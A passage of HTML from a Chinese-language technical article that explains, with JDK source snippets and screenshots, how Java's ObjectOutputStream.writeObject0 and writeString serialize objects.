writeClassDesc((ObjectStreamClass) obj, unshared);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// remaining cases</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (obj <span class="code-snippet__keyword">instanceof</span> <span class="code-snippet__built_in">String</span>) {</span></code><code><span class="code-snippet_outer">                writeString((<span class="code-snippet__built_in">String</span>) obj, unshared);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (cl.isArray()) {</span></code><code><span class="code-snippet_outer">                writeArray(obj, desc, unshared);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (obj <span class="code-snippet__keyword">instanceof</span> Enum) {</span></code><code><span class="code-snippet_outer">                writeEnum((Enum&lt;?&gt;) obj, desc, unshared);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (obj <span class="code-snippet__keyword">instanceof</span> Serializable) {</span></code><code><span class="code-snippet_outer">                writeOrdinaryObject(obj, desc, unshared);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (extendedDebugInfo) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NotSerializableException(</span></code><code><span class="code-snippet_outer">                        cl.getName() + <span class="code-snippet__string">&#34;\n&#34;</span> + debugInfoStack.toString());</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NotSerializableException(cl.getName());</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            depth--;</span></code><code><span class="code-snippet_outer">            bout.setBlockDataMode(oldMode);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><br/></p><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">来一点一点分析。</span></p><p cid="n51" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject0()</code><span md-inline="plain" style="box-sizing: border-box;">方法最开始的地方：</span></span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"> <span class="code-snippet__built_in">boolean</span> oldMode = bout.setBlockDataMode(<span class="code-snippet__literal">false</span>);</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;">首先代码先关闭输出流的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式，并且将</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">原始模式</span></strong><span md-inline="plain" style="box-sizing: border-box;">赋值给变量</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">oldMode</code><span md-inline="plain" style="box-sizing: border-box;">，</span></span></span></span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(0, 0, 0);">然后会进入以下代码块进行判断：</span></p><p><br/></p><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.38530066815144765" data-s="300,640" style="" data-type="png" data-w="1796" src="https://wechat2rss.xlab.app/img-proxy/?k=cdb95f71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cX3nvM0DvquojOyOxXL7Lneq8dylIBQeSOguick3GYbd7KmvergWAr9A%2F640%3Fwx_fmt%3Dpng"/></p><p><span md-inline="plain" style="box-sizing: border-box;"><br/></span></p><p><span md-inline="plain" style="box-sizing: border-box;">在上面的代码块的主要功能就是像其注释写的一样，用于处理</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">已经处理过的</span></strong><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">不可替换的</span></strong><span md-inline="plain" style="box-sizing: border-box;">对象，这些都是不能够序列化的，其实在大多数情况下，我们的代码都不会进入这个代码块。</span></span></span></p><p><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></p><p><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">具体来看，代码首先会进入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">subs.lookup(obj)</code><span md-inline="plain" style="box-sizing: border-box;">进行判断，如下图：</span></span></span></span></span></p><p><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3181336161187699" data-s="300,640" style="" data-type="png" data-w="1886" src="https://wechat2rss.xlab.app/img-proxy/?k=7c0bd5bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cXVa2uaL1ib0icSrhkXXcwJz8xWBxqkp7Rdv6TR3A5CuRCZClDFeWJDaQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span md-inline="plain" style="box-sizing: border-box;">根据这个方法的描述——</span><span md-inline="em" style="box-sizing: border-box;"><em style="box-sizing: border-box;">查找并返回给定对象的替换。如果找不到替换，则返回查找对象本身。</em></span><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="strong" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></span><br/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">也就是说，这个方法实际上就是处理以前写入的对象和不可替换的对象。更直白点的意思，这段代码实际上做的是一个检测功能，如果检测到当前传入对象在“替换哈希表(</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ReplaceTable</code><span md-inline="plain" style="box-sizing: border-box;">)”中无法找到，那么就调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNull</code><span md-inline="plain" style="box-sizing: border-box;">方法。</span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">接着继续判断当前写入方式是不是“</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">”方式，然后可以看到紧跟着的就是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles.lookup(obj)</code><span md-inline="plain" style="box-sizing: border-box;">，跟进去的话：</span></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6371308016877637" data-s="300,640" style="" data-type="png" data-w="1422" src="https://wechat2rss.xlab.app/img-proxy/?k=1601cf3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cTkF2eoA6vwQeib6YQVEg02ZbTVs4DtuHpNS5Mkib4NYpcSCjUiagg9U9g%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">该</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">lookup</code><span md-inline="plain" style="box-sizing: border-box;">方法会查找并返回与给定对象关联的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handler</code><span md-inline="plain" style="box-sizing: border-box;">，如果没有找到映射，则返回 -1，直白的意思就是说判断是否在“引用哈希表(</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">HandleTable</code><span md-inline="plain" style="box-sizing: border-box;">)”中找到该引用，如果有，那么调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeHandle</code><span md-inline="plain" style="box-sizing: border-box;">方法并且返回；如果没找到，那么返回-1，需要进一步序列化处理。</span></span></span></span></span></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">然后继续跟进：</span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.23984375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=559225c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0c9aXxx3EBygEk48PNKOTDPgKYJ2hpoMx5nsicCpzyj3pIEt2UpbW11hQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);"></span><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">判断当前传入对象是不是特殊类型的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Class</code><span md-inline="plain" style="box-sizing: border-box;">和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ObjectStreamClass</code><span md-inline="plain" style="box-sizing: border-box;">，如果是，则调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClass</code><span md-inline="plain" style="box-sizing: border-box;">或</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClassDesc</code><span md-inline="plain" style="box-sizing: border-box;">方法并且返回；</span></span></span></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3125" data-s="300,640" style="" data-type="png" data-w="1216" src="https://wechat2rss.xlab.app/img-proxy/?k=5cda8030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cf19gy5Ql1DpmEP1mNz9DUTu6tFAnpJOLsO9ibBwGYeuNHVABJnqPTBQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">如上图，通过检查成员属性</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableReplace</code><span md-inline="plain" style="box-sizing: border-box;">的值判断当前对象是否启用了“替换(</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Replace</code><span md-inline="plain" style="box-sizing: border-box;">)”功能；</span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">但实际上</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">enableReplace</code><span md-inline="plain" style="box-sizing: border-box;">的值通常为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">false</code></span></span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6361940298507462" data-s="300,640" style="" data-type="png" data-w="1072" src="https://wechat2rss.xlab.app/img-proxy/?k=ff99a2b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0c2y0JU2K90QJMoBia2tgeFoyS4mMDO80bs58wUtgOcTx1YYxYBlCU2AA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p cid="n72" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">我们并不会进入这一代码段，</span>然后进入二次检查代码段：</p><p cid="n72" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.411635565312843" data-s="300,640" style="" data-type="png" data-w="1822" src="https://wechat2rss.xlab.app/img-proxy/?k=1111a559&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0c13dsjS4c3mXGasJ2mkwPyDqb9cv3JUP7R0Ipia1kVUiakNw75ibRTpcyA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">如果对象被替换，这里会对原始对象进行二次检查，和最开始的那段代码很像，这里先将替换对象插入到</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">subs</code><span md-inline="plain" style="box-sizing: border-box;">(替换哈希表)中，然后进行类似的判断。</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></p><p><br/></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">以上执行都完成过后，会处理剩余对象类型：</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.698292220113852" data-s="300,640" style="" data-type="png" data-w="1054" src="https://wechat2rss.xlab.app/img-proxy/?k=14201e88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cSPPNYic8yp7VGaONe5zicgic99wnicYK1a837DzoSZFEZVby2coFOb7ypw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">如果传入对象为String类型，那么调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeString</code><span md-inline="plain" style="box-sizing: border-box;">方法将数据写入字节流；</span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">如果传入对象为Array类型，那么调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeArray</code><span md-inline="plain" style="box-sizing: border-box;">方法将数据写入字节流；</span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">如果传入对象为Enum类型，调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeEnum</code><span md-inline="plain" style="box-sizing: border-box;">方法将数据写入字节流；</span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">如果传入对象实现了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Serializable</code><span md-inline="plain" style="box-sizing: border-box;">接口，调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeOrdinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">方法将数据写入字节流；</span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">以上条件都不满足时则抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">NotSerializableException</code><span md-inline="plain" style="box-sizing: border-box;">异常信息；</span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">对于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeString</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeArray</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeEnum</code><span md-inline="plain" style="box-sizing: border-box;">的方法我们就不详谈了，只以</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeString</code><span md-inline="plain" style="box-sizing: border-box;">为例简单讲下。</span></span></span></span></span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeString</span><span class="code-snippet__params">(String str, <span class="code-snippet__keyword">boolean</span> unshared)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        handles.assign(unshared ? <span class="code-snippet__keyword">null</span> : str);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> utflen = bout.getUTFLength(str);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (utflen &lt;= <span class="code-snippet__number">0xFFFF</span>) {</span></code><code><span class="code-snippet_outer">            bout.writeByte(TC_STRING);</span></code><code><span class="code-snippet_outer">            bout.writeUTF(str, utflen);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            bout.writeByte(TC_LONGSTRING);</span></code><code><span class="code-snippet_outer">            bout.writeLongUTF(str, utflen);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">可以看到过程如下，首先在写入String对象之前，代码会判断当前写入方式是否是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: 